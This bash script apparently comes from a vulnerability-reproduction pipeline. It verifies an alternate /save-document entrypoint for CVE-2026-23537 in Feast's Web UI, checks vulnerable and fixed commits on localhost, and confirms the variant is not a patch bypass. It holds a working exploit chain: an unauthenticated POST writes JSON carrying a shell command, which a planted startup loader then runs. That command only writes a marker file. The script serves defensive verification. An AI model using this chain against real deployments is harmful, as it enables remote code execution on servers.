#!/bin/bash
set -euo pipefail

# ============================================================================
# CVE-2026-23537 variant analysis: Feast Web UI /save-document alternate
# entrypoint. This is a confirmed alternate trigger on the vulnerable commit,
# but NOT a bypass: the fixed commit removes the UI endpoint as well.
#
# Exit 0 = bypass reproduced on fixed version.
# Exit 1 = variant only works on vulnerable version / no bypass found.
# ============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VARIANT_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$VARIANT_DIR/artifacts"
WORKTREES="$VARIANT_DIR/worktrees"
HTTP_ARTIFACTS="$ARTIFACTS/http"
mkdir -p "$LOGS" "$ARTIFACTS" "$WORKTREES" "$HTTP_ARTIFACTS"

exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

cd "$ROOT"

VULN_COMMIT="be1b52227e1ade9a3be9836391ade45eb1a26909"
FIX_COMMIT="4018e7b0c39825a5647fb17fc5607d72fb4bc0ce"
UI_PORT="7588"
FEATURE_PORT="7566"
HOST="127.0.0.1"
BYPASS_CONFIRMED=0
VARIANT_CONFIRMED=0

cleanup_ports() {
    set +e
    if [ -f "$LOGS/current_ui.pid" ]; then kill "$(cat "$LOGS/current_ui.pid")" 2>/dev/null || true; rm -f "$LOGS/current_ui.pid"; fi
    if [ -f "$LOGS/current_feature.pid" ]; then kill "$(cat "$LOGS/current_feature.pid")" 2>/dev/null || true; rm -f "$LOGS/current_feature.pid"; fi
    pkill -9 -f "$VARIANT_DIR/start_ui_server.py" 2>/dev/null || true
    pkill -9 -f "$VARIANT_DIR/start_feature_server.py" 2>/dev/null || true
    if command -v fuser >/dev/null 2>&1; then
        fuser -k "${UI_PORT}/tcp" >/dev/null 2>&1 || true
        fuser -k "${FEATURE_PORT}/tcp" >/dev/null 2>&1 || true
    fi
    sleep 1
    set -e
}
trap cleanup_ports EXIT

wait_health() {
    local port="$1"
    local max_wait="${2:-60}"
    local i
    for i in $(seq 1 "$max_wait"); do
        if curl -s --max-time 2 "http://$HOST:$port/health" >/dev/null 2>&1; then
            return 0
        fi
        sleep 1
    done
    return 1
}

assert_log_contains() {
    local needle="$1"
    local log_path="$2"
    if ! grep -Fq "$needle" "$log_path"; then
        echo "[ERROR] Expected to find '$needle' in $log_path"
        tail -120 "$log_path" || true
        exit 2
    fi
}

start_ui_server() {
    local code_path="$1"
    local repo_path="$2"
    local cwd_path="$3"
    local log_path="$4"
    cleanup_ports
    (
        cd "$cwd_path"
        PYTHONPATH="$code_path" \
        FEAST_REPO_PATH="$repo_path" \
        FEAST_UI_RESOURCE_ROOT="$UI_RESOURCE_ROOT" \
        FEAST_HOST="$HOST" \
        FEAST_PORT="$UI_PORT" \
        nohup "$PYTHON_BIN" "$VARIANT_DIR/start_ui_server.py" > "$log_path" 2>&1 &
        echo $! > "$LOGS/current_ui.pid"
    )
    echo "[SERVER] Started UI server PID=$(cat "$LOGS/current_ui.pid") log=$log_path code_path=$code_path cwd=$cwd_path"
    if ! wait_health "$UI_PORT" 60; then
        echo "[ERROR] UI server failed health check; tail follows:"
        tail -120 "$log_path" || true
        exit 2
    fi
}

start_feature_server() {
    local code_path="$1"
    local repo_path="$2"
    local cwd_path="$3"
    local log_path="$4"
    cleanup_ports
    (
        cd "$cwd_path"
        PYTHONPATH="$code_path" \
        FEAST_REPO_PATH="$repo_path" \
        FEAST_HOST="$HOST" \
        FEAST_PORT="$FEATURE_PORT" \
        nohup "$PYTHON_BIN" "$VARIANT_DIR/start_feature_server.py" > "$log_path" 2>&1 &
        echo $! > "$LOGS/current_feature.pid"
    )
    echo "[SERVER] Started Feature Server PID=$(cat "$LOGS/current_feature.pid") log=$log_path code_path=$code_path cwd=$cwd_path"
    if ! wait_health "$FEATURE_PORT" 60; then
        echo "[ERROR] Feature Server failed health check; tail follows:"
        tail -120 "$log_path" || true
        exit 2
    fi
}

stop_servers() {
    cleanup_ports
}

write_runtime_manifest() {
    python3 - "$VARIANT_DIR/runtime_manifest.json" "$VARIANT_CONFIRMED" "$BYPASS_CONFIRMED" "$VULN_RESOLVED" "$FIX_RESOLVED" "$LATEST_RESOLVED" <<'PYEOF'
import json, sys
path, variant, bypass, vuln, fixed, latest = sys.argv[1:7]
manifest = {
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "Feast Web UI /save-document unauthenticated POST writes attacker JSON via the same Path.resolve()+str.startswith(os.getcwd()) sink as the Feature Server endpoint; the written JSON is then consumed by the Feature Server static_artifacts startup loader in the RCE chain.",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": variant == "1",
    "fixed_target_path_reached": bypass == "1",
    "runtime_stack": ["feast-ui-server", "fastapi", "uvicorn", "FeatureStore", "feast-feature-server static_artifacts startup consumer"],
    "tested_revisions": {
        "vulnerable": vuln,
        "fixed": fixed,
        "latest_default_branch": latest or None,
    },
    "proof_artifacts": [
        "logs/vuln_variant/reproduction_steps.log",
        "logs/vuln_variant/vuln_ui_writer.log",
        "logs/vuln_variant/vuln_feature_consumer.log",
        "logs/vuln_variant/fixed_ui_writer.log",
        "logs/vuln_variant/latest_version.txt",
        "vuln_variant/artifacts/http/vuln_ui_save_request.json",
        "vuln_variant/artifacts/http/vuln_ui_save_response.json",
        "vuln_variant/artifacts/http/fixed_ui_save_status.txt",
        "vuln_variant/artifacts/http/fixed_ui_save_response.txt",
        "vuln_variant/artifacts/feature_repo_ui/ui_variant_static_artifacts-labels.json.vuln",
        "vuln_variant/artifacts/ui_variant_rce_marker.vulnerable.txt"
    ],
    "notes": "Confirmed alternate vulnerable entrypoint only; fixed commit and latest default branch do not expose /save-document, so this is not a patch bypass."
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
PYEOF
}

# ---------------------------------------------------------------------------
# Repository setup without mutating the reproduction checkout.
# ---------------------------------------------------------------------------
echo "=== PHASE 1: repository setup ==="
CACHE_DIR=""
PREPARED="false"
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
    PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
fi

if [ -n "$CACHE_DIR" ] && [ "$PREPARED" = "true" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
    BASE_REPO="$CACHE_DIR/repo"
else
    BASE_REPO="$ARTIFACTS/feast-repo-base"
    if [ ! -d "$BASE_REPO/.git" ]; then
        git clone --filter=blob:none https://github.com/feast-dev/feast.git "$BASE_REPO"
    fi
fi

git -C "$BASE_REPO" fetch --quiet origin || true
git -C "$BASE_REPO" worktree prune || true

create_worktree() {
    local path="$1"
    local commit="$2"
    if [ -d "$path/.git" ] || [ -f "$path/.git" ]; then
        git -C "$path" checkout --quiet --detach "$commit"
        git -C "$path" reset --hard --quiet "$commit"
    else
        rm -rf "$path"
        git -C "$BASE_REPO" worktree add --detach "$path" "$commit"
    fi
}

VULN_REPO="$WORKTREES/feast-vuln"
FIXED_REPO="$WORKTREES/feast-fixed"
create_worktree "$VULN_REPO" "$VULN_COMMIT"
create_worktree "$FIXED_REPO" "$FIX_COMMIT"

VULN_RESOLVED=$(git -C "$VULN_REPO" rev-parse HEAD)
FIX_RESOLVED=$(git -C "$FIXED_REPO" rev-parse HEAD)
LATEST_RESOLVED=""
if git -C "$BASE_REPO" rev-parse --verify origin/master >/dev/null 2>&1; then
    LATEST_RESOLVED=$(git -C "$BASE_REPO" rev-parse origin/master)
fi

echo "[INFO] Vulnerable commit: $VULN_RESOLVED"
echo "[INFO] Fixed commit: $FIX_RESOLVED"
echo "[INFO] Latest origin/master commit: ${LATEST_RESOLVED:-unavailable}"
printf 'vulnerable=%s\nfixed=%s\nlatest_origin_master=%s\n' "$VULN_RESOLVED" "$FIX_RESOLVED" "${LATEST_RESOLVED:-unavailable}" > "$LOGS/fixed_version.txt"
printf 'latest_origin_master=%s\n' "${LATEST_RESOLVED:-unavailable}" > "$LOGS/latest_version.txt"

if [ "$VULN_RESOLVED" != "$VULN_COMMIT" ] || [ "$FIX_RESOLVED" != "$FIX_COMMIT" ]; then
    echo "[ERROR] Source identity mismatch"
    exit 2
fi

grep -q '@app.post("/save-document"' "$VULN_REPO/sdk/python/feast/ui_server.py"
grep -q 'startswith(os.getcwd())' "$VULN_REPO/sdk/python/feast/ui_server.py"
if grep -q '@app.post("/save-document"' "$FIXED_REPO/sdk/python/feast/ui_server.py"; then
    echo "[ERROR] Fixed ui_server.py still exposes /save-document"
    exit 2
fi
if [ -n "$LATEST_RESOLVED" ]; then
    if git -C "$BASE_REPO" grep -q 'save-document' origin/master -- sdk/python/feast/ui_server.py sdk/python/feast/feature_server.py; then
        echo "[ERROR] Latest origin/master still contains document endpoints"
        exit 2
    fi
fi

echo "[INFO] Static patch check passed: vulnerable UI has /save-document sink; fixed/latest do not."

# ---------------------------------------------------------------------------
# Python environment and helper scripts.
# ---------------------------------------------------------------------------
echo "=== PHASE 2: Python dependency setup ==="
if [ -n "$CACHE_DIR" ] && [ -x "$CACHE_DIR/repo-vuln/.venv/bin/python" ]; then
    PYTHON_BIN="$CACHE_DIR/repo-vuln/.venv/bin/python"
else
    VENV_DIR="$VARIANT_DIR/.venv"
    if [ ! -d "$VENV_DIR" ]; then
        python3 -m venv "$VENV_DIR"
    fi
    PYTHON_BIN="$VENV_DIR/bin/python"
fi
"$PYTHON_BIN" -m pip install --upgrade pip -q
if ! PYTHONPATH="$VULN_REPO/sdk/python" "$PYTHON_BIN" - <<'PYEOF' >/dev/null 2>&1
import fastapi, uvicorn, pandas, pyarrow, yaml, pydantic, feast
import feast.ui_server, feast.feature_server
PYEOF
then
    echo "[SETUP] Installing minimal Feast runtime dependencies into $(dirname "$(dirname "$PYTHON_BIN")") ..."
    "$PYTHON_BIN" -m pip install -q \
        "fastapi" "uvicorn[standard]" "pydantic" "starlette" \
        "pandas" "numpy" "pyarrow" "pyyaml" "click" "dill" "protobuf" \
        "jsonschema" "mmh3" "requests" "SQLAlchemy" "tabulate" "tenacity" \
        "toml" "tqdm" "typeguard" "colorama" "pygments" "Jinja2" \
        "bigtree" "pyjwt" "dask[dataframe]" "prometheus_client" "psutil" \
        "gunicorn" "uvicorn-worker" "pytz"
fi

PYTHONPATH="$VULN_REPO/sdk/python" "$PYTHON_BIN" - <<'PYEOF'
import feast.ui_server as us, feast.feature_server as fs
from pathlib import Path
assert '/save-document' in Path(us.__file__).read_text(encoding='utf-8')
assert 'load_static_artifacts' in Path(fs.__file__).read_text(encoding='utf-8')
print(f"[SETUP] Vulnerable ui_server module: {us.__file__}")
PYEOF
PYTHONPATH="$FIXED_REPO/sdk/python" "$PYTHON_BIN" - <<'PYEOF'
import feast.ui_server as us, feast.feature_server as fs
from pathlib import Path
assert '/save-document' not in Path(us.__file__).read_text(encoding='utf-8')
assert 'load_static_artifacts' in Path(fs.__file__).read_text(encoding='utf-8')
print(f"[SETUP] Fixed ui_server module: {us.__file__}")
PYEOF

cat > "$VARIANT_DIR/start_ui_server.py" <<'PYEOF'
#!/usr/bin/env python3
import os
from pathlib import Path

REPO_PATH = os.environ["FEAST_REPO_PATH"]
RESOURCE_ROOT = Path(os.environ["FEAST_UI_RESOURCE_ROOT"])
HOST = os.environ.get("FEAST_HOST", "127.0.0.1")
PORT = int(os.environ.get("FEAST_PORT", "7588"))

import feast.ui_server as ui_server
from feast import FeatureStore
import uvicorn

src = Path(ui_server.__file__).read_text(encoding="utf-8")
print(f"UI_MODULE_PATH={ui_server.__file__}", flush=True)
print(f"HAS_SAVE_DOCUMENT={'/save-document' in src}", flush=True)
print(f"CWD={os.getcwd()}", flush=True)
print(f"FEAST_REPO_PATH={REPO_PATH}", flush=True)
print(f"UI_RESOURCE_ROOT={RESOURCE_ROOT}", flush=True)

orig_files = ui_server.importlib_resources.files

def patched_files(package):
    if str(package) == str(ui_server.__spec__.parent):
        return RESOURCE_ROOT
    return orig_files(package)

ui_server.importlib_resources.files = patched_files
store = FeatureStore(repo_path=REPO_PATH)
app = ui_server.get_app(store, project_id="ui_variant", registry_ttl_secs=5)
uvicorn.run(app, host=HOST, port=PORT, access_log=True, log_level="info")
PYEOF
chmod +x "$VARIANT_DIR/start_ui_server.py"

cat > "$VARIANT_DIR/start_feature_server.py" <<'PYEOF'
#!/usr/bin/env python3
import os
from pathlib import Path

REPO_PATH = os.environ["FEAST_REPO_PATH"]
HOST = os.environ.get("FEAST_HOST", "127.0.0.1")
PORT = int(os.environ.get("FEAST_PORT", "7566"))

import feast.feature_server as feature_server
from feast import FeatureStore
from feast.feature_server import get_app
import uvicorn

src = Path(feature_server.__file__).read_text(encoding="utf-8")
print(f"FEATURE_MODULE_PATH={feature_server.__file__}", flush=True)
print(f"HAS_FEATURE_SAVE_DOCUMENT={'/save-document' in src}", flush=True)
print(f"HAS_STATIC_ARTIFACTS_LOADER={'load_static_artifacts' in src}", flush=True)
print(f"CWD={os.getcwd()}", flush=True)
print(f"FEAST_REPO_PATH={REPO_PATH}", flush=True)
print(f"STATIC_ARTIFACTS_FILE={Path(REPO_PATH) / 'static_artifacts.py'}", flush=True)
print(f"STATIC_ARTIFACTS_EXISTS={(Path(REPO_PATH) / 'static_artifacts.py').exists()}", flush=True)
store = FeatureStore(repo_path=REPO_PATH)
app = get_app(store)
uvicorn.run(app, host=HOST, port=PORT, access_log=True, log_level="info")
PYEOF
chmod +x "$VARIANT_DIR/start_feature_server.py"

# Minimal UI static resource tree needed by source checkouts that do not carry built frontend assets.
UI_RESOURCE_ROOT="$ARTIFACTS/ui_resource_root"
mkdir -p "$UI_RESOURCE_ROOT/ui/build"
printf '<!doctype html><title>Feast UI variant test</title>\n' > "$UI_RESOURCE_ROOT/ui/build/index.html"
printf '{"projects": []}\n' > "$UI_RESOURCE_ROOT/ui/build/projects-list.json"

# ---------------------------------------------------------------------------
# Feature repository and RCE consumer component.
# ---------------------------------------------------------------------------
echo "=== PHASE 3: Create isolated Feast feature repository ==="
FEAST_REPO="$ARTIFACTS/feature_repo_ui"
rm -rf "$FEAST_REPO"
mkdir -p "$FEAST_REPO/data"
cat > "$FEAST_REPO/feature_store.yaml" <<'YAMLEOF'
project: ui_variant
registry: data/registry.db
provider: local
online_store:
    type: sqlite
    path: data/online_store.db
offline_store:
    type: file
entity_key_serialization_version: 3
auth:
    type: no_auth
YAMLEOF
cat > "$FEAST_REPO/example_repo.py" <<'PYEOF'
from datetime import timedelta
from feast import Entity, FeatureView, Field, FileSource
from feast.types import Float32, Int64

driver = Entity(name="driver", join_keys=["driver_id"])
driver_stats_source = FileSource(name="driver_hourly_stats_source", path="data/driver_stats.parquet", timestamp_field="event_timestamp")
driver_stats_fv = FeatureView(
    name="driver_hourly_stats",
    entities=[driver],
    ttl=timedelta(days=1),
    schema=[Field(name="conv_rate", dtype=Float32), Field(name="avg_daily_trips", dtype=Int64)],
    online=True,
    source=driver_stats_source,
)
PYEOF
PYTHONPATH="$VULN_REPO/sdk/python" "$PYTHON_BIN" - <<PYEOF
import os, pandas as pd
repo = r"$FEAST_REPO"
os.makedirs(os.path.join(repo, "data"), exist_ok=True)
pd.DataFrame({
    "driver_id": [1001],
    "event_timestamp": pd.to_datetime(["2024-01-01"]),
    "conv_rate": [1.0],
    "avg_daily_trips": [100],
}).to_parquet(os.path.join(repo, "data", "driver_stats.parquet"))
PYEOF
cat > "$FEAST_REPO/static_artifacts.py" <<'PYEOF'
from pathlib import Path
import json
import subprocess
from typing import Any
from fastapi import FastAPI

def load_artifacts(app: FastAPI) -> None:
    repo = Path(__file__).parent
    config_path = repo / "ui_variant_static_artifacts-labels.json"
    print(f"[static_artifacts] UI variant component loaded; config={config_path}", flush=True)
    if not config_path.exists():
        print(f"[static_artifacts] No UI variant config present at {config_path}", flush=True)
        return
    raw = config_path.read_text(encoding="utf-8")
    print(f"[static_artifacts] Consuming UI variant config bytes={len(raw)}", flush=True)
    data: Any = json.loads(raw)
    hook = data.get("startup_hook") if isinstance(data, dict) else None
    if isinstance(hook, dict) and hook.get("shell"):
        cmd = hook["shell"]
        print(f"[static_artifacts] Executing UI variant startup hook: {cmd}", flush=True)
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=15)
        if result.stdout:
            print(f"[static_artifacts] hook stdout: {result.stdout}", flush=True)
        if result.stderr:
            print(f"[static_artifacts] hook stderr: {result.stderr}", flush=True)
        print(f"[static_artifacts] hook exit code: {result.returncode}", flush=True)
PYEOF

make_ui_payload() {
    local request_file="$1"
    local marker_file="$2"
    python3 - "$FEAST_REPO/ui_variant_static_artifacts.json" "$marker_file" "$request_file" <<'PYEOF'
import json, sys
file_path, marker, out = sys.argv[1:4]
cmd = (
    f"printf 'FEAST_UI_SAVE_DOCUMENT_VARIANT_RCE\\n' > {marker}; "
    f"(id >> {marker} 2>&1 || true); "
    f"pwd >> {marker}; "
    f"printf 'written_by=Feast Web UI /save-document\\n' >> {marker}; "
    f"printf 'executed_by=Feast feature_server load_static_artifacts\\n' >> {marker}; "
    f"exit 0"
)
payload = {
    "file_path": file_path,
    "data": {
        "variant": "Feast Web UI /save-document alternate entrypoint",
        "startup_hook": {"shell": cmd, "marker": marker},
    },
}
with open(out, "w", encoding="utf-8") as f:
    json.dump(payload, f, indent=2)
PYEOF
}

# ---------------------------------------------------------------------------
# Runtime tests.
# ---------------------------------------------------------------------------
echo "=== PHASE 4: Vulnerable UI alternate-entrypoint proof ==="
cleanup_ports
DROPPED_CONFIG="$FEAST_REPO/ui_variant_static_artifacts-labels.json"
MARKER="$ARTIFACTS/ui_variant_rce_marker.txt"
VULN_MARKER_COPY="$ARTIFACTS/ui_variant_rce_marker.vulnerable.txt"
rm -f "$DROPPED_CONFIG" "$MARKER" "$VULN_MARKER_COPY"
VULN_REQUEST="$HTTP_ARTIFACTS/vuln_ui_save_request.json"
VULN_RESPONSE="$HTTP_ARTIFACTS/vuln_ui_save_response.json"
make_ui_payload "$VULN_REQUEST" "$MARKER"

start_ui_server "$VULN_REPO/sdk/python" "$FEAST_REPO" "/" "$LOGS/vuln_ui_writer.log"
assert_log_contains "HAS_SAVE_DOCUMENT=True" "$LOGS/vuln_ui_writer.log"
echo "[EXPLOIT] Sending unauthenticated POST to vulnerable Feast Web UI /save-document"
curl -s --max-time 10 -X POST "http://$HOST:$UI_PORT/save-document" \
    -H "Content-Type: application/json" \
    --data-binary "@$VULN_REQUEST" > "$VULN_RESPONSE"
cat "$VULN_RESPONSE"
echo
jq -e '.success == true and (.saved_to | endswith("ui_variant_static_artifacts-labels.json"))' "$VULN_RESPONSE" >/dev/null
test -f "$DROPPED_CONFIG"
cp "$DROPPED_CONFIG" "$DROPPED_CONFIG.vuln"
echo "[EXPLOIT] Vulnerable UI endpoint wrote product-consumed config: $DROPPED_CONFIG"
stop_servers

start_feature_server "$VULN_REPO/sdk/python" "$FEAST_REPO" "/" "$LOGS/vuln_feature_consumer.log"
assert_log_contains "HAS_STATIC_ARTIFACTS_LOADER=True" "$LOGS/vuln_feature_consumer.log"
assert_log_contains "[static_artifacts] UI variant component loaded" "$LOGS/vuln_feature_consumer.log"
assert_log_contains "[static_artifacts] Consuming UI variant config" "$LOGS/vuln_feature_consumer.log"
assert_log_contains "[static_artifacts] Executing UI variant startup hook" "$LOGS/vuln_feature_consumer.log"
assert_log_contains "[static_artifacts] hook exit code: 0" "$LOGS/vuln_feature_consumer.log"
test -f "$MARKER"
grep -q "FEAST_UI_SAVE_DOCUMENT_VARIANT_RCE" "$MARKER"
grep -q "written_by=Feast Web UI /save-document" "$MARKER"
grep -q "executed_by=Feast feature_server load_static_artifacts" "$MARKER"
echo "[RCE] UI variant marker:"
cat "$MARKER"
cp "$MARKER" "$VULN_MARKER_COPY"
VARIANT_CONFIRMED=1
stop_servers

# Fixed/patched negative control.
echo "=== PHASE 5: Fixed UI negative control ==="
rm -f "$DROPPED_CONFIG" "$MARKER"
FIXED_REQUEST="$HTTP_ARTIFACTS/fixed_ui_save_request.json"
FIXED_RESPONSE="$HTTP_ARTIFACTS/fixed_ui_save_response.txt"
FIXED_STATUS="$HTTP_ARTIFACTS/fixed_ui_save_status.txt"
make_ui_payload "$FIXED_REQUEST" "$MARKER"
start_ui_server "$FIXED_REPO/sdk/python" "$FEAST_REPO" "/" "$LOGS/fixed_ui_writer.log"
assert_log_contains "HAS_SAVE_DOCUMENT=False" "$LOGS/fixed_ui_writer.log"
status_code=$(curl -s --max-time 10 -o "$FIXED_RESPONSE" -w "%{http_code}" -X POST \
    "http://$HOST:$UI_PORT/save-document" \
    -H "Content-Type: application/json" \
    --data-binary "@$FIXED_REQUEST")
echo "$status_code" > "$FIXED_STATUS"
echo "[FIXED] /save-document status on patched UI server: $status_code"
if [ "$status_code" = "200" ] && jq -e '.success == true' "$FIXED_RESPONSE" >/dev/null 2>&1; then
    echo "[ERROR] Fixed UI server unexpectedly returned success for /save-document"
    cat "$FIXED_RESPONSE" || true
    BYPASS_CONFIRMED=1
    write_runtime_manifest
    exit 0
fi
if [ -f "$DROPPED_CONFIG" ] || [ -f "$MARKER" ]; then
    echo "[ERROR] Fixed UI server unexpectedly created dropped config or marker"
    BYPASS_CONFIRMED=1
    write_runtime_manifest
    exit 0
fi
stop_servers

write_runtime_manifest

echo "=== VARIANT STAGE COMPLETE ==="
echo "Confirmed alternate entrypoint: vulnerable Feast Web UI /save-document reaches the same arbitrary JSON write sink and RCE chain."
echo "Patch bypass: no. Fixed commit $FIX_RESOLVED and latest ${LATEST_RESOLVED:-unavailable} remove the document endpoints."

# Per variant-stage contract, only a fixed-version bypass exits 0.
exit 1
